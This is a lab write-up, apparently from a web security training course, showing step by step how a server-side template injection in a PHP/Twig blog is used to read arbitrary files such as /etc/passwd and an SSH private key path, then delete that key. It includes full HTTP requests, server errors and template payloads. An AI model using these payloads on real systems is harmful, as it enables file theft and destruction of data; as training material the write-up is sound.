Server-side template injection with a custom exploit

Description

This lab is vulnerable to server-side template injection.

Reproduction and proof of concept

  1. While proxying traffic through Burp, log in with wiener:peter and post a comment on one of the blogs.

  2. Go to the “My account” page. Notice that the functionality for setting a preferred name is vulnerable to server-side template injection, and that you have access to the user object.

POST /my-account/change-blog-post-author-display HTTP/1.1
Host: 0aa10086032826fac0fb869a007b007d.web-security-academy.net
Cookie: session=weVRd6xjRJcAO1mP22aj4F8fT9rTzBAf
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
Origin: https://0aa10086032826fac0fb869a007b007d.web-security-academy.net
Referer: https://0aa10086032826fac0fb869a007b007d.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

blog-post-author-display=user.first_name&csrf=TmMgLY1pTzScQv6xgJGRNiWHptf3lzdf
  1. Investigate the custom avatar functionality. Notice that when you upload an invalid image, the error message discloses a method called user.setAvatar(). Also take note of the file path /home/carlos/User.php. You will need this later.

Request:

POST /my-account/avatar HTTP/1.1
Host: 0aa10086032826fac0fb869a007b007d.web-security-academy.net
Cookie: session=weVRd6xjRJcAO1mP22aj4F8fT9rTzBAf
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------161787197129286381834010908465
Content-Length: 493
Origin: https://0aa10086032826fac0fb869a007b007d.web-security-academy.net
Referer: https://0aa10086032826fac0fb869a007b007d.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------161787197129286381834010908465
Content-Disposition: form-data; name="avatar"; filename="nonsense.txt"
Content-Type: text/plain

nonsense

-----------------------------161787197129286381834010908465
Content-Disposition: form-data; name="user"

wiener
-----------------------------161787197129286381834010908465
Content-Disposition: form-data; name="csrf"

TmMgLY1pTzScQv6xgJGRNiWHptf3lzdf
-----------------------------161787197129286381834010908465--

Response

HTTP/1.1 500 Internal Server Error
Content-type: text/html; charset=UTF-8
Connection: close
Content-Length: 290

<pre>PHP Fatal error:  Uncaught Exception: Uploaded file mime type is not an image: text/plain in /home/carlos/User.php:28
Stack trace:
#0 /home/carlos/avatar_upload.php(19): User->setAvatar('/tmp/nonsense.t...', 'text/plain')
#1 {main}
  thrown in /home/carlos/User.php on line 28
</pre>
  1. Upload a valid image as your avatar and load the page containing your test comment.

  2. In Burp Repeater, open the POST request for changing your preferred name and use the blog-post-author-display parameter to set an arbitrary file as your avatar:

user.setAvatar("/etc/passwd")
  1. Load the page containing your test comment to render the template.

Internal Server Error

PHP Fatal error: Uncaught ArgumentCountError: Too few arguments to function User::setAvatar(), 1 passed in /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Extension/Core.php on line 1601 and exactly 2 expected in /home/carlos/User.php:26 Stack trace: ...
  1. Notice that the error message indicates that you need to provide an image MIME type as the second argument. Provide this argument and view the comment again to refresh the template:

user.setAvatar('/etc/passwd','image/jpeg')
  1. To read the file, load the avatar using GET /avatar?avatar=wiener. This will return the contents of the /etc/passwd file, confirming that you have access to arbitrary files.

SSTI

  1. Repeat this process to read the PHP file that you noted down earlier:

user.setAvatar('/home/carlos/User.php','image/jpeg')
  1. Reload the blog post with the comment and load the avatar using GET /avatar?avatar=wiener again.

SSTI

In the PHP file, Notice that you have access to the gdprDelete() function, which deletes the user’s avatar. You can combine this knowledge to delete Carlos’s file.

  1. First set the target file as your avatar, then view the comment to execute the template:

user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')
  1. Invoke the user.gdprDelete() method and view your comment again to solve the lab.

blog-post-author-display=user.gdprDelete()&csrf=TmMgLY1pTzScQv6xgJGRNiWHptf3lzdf

Exploitability

An attacker will need to create a custom exploit to delete the file /.ssh/id_rsa from Carlos’s home directory.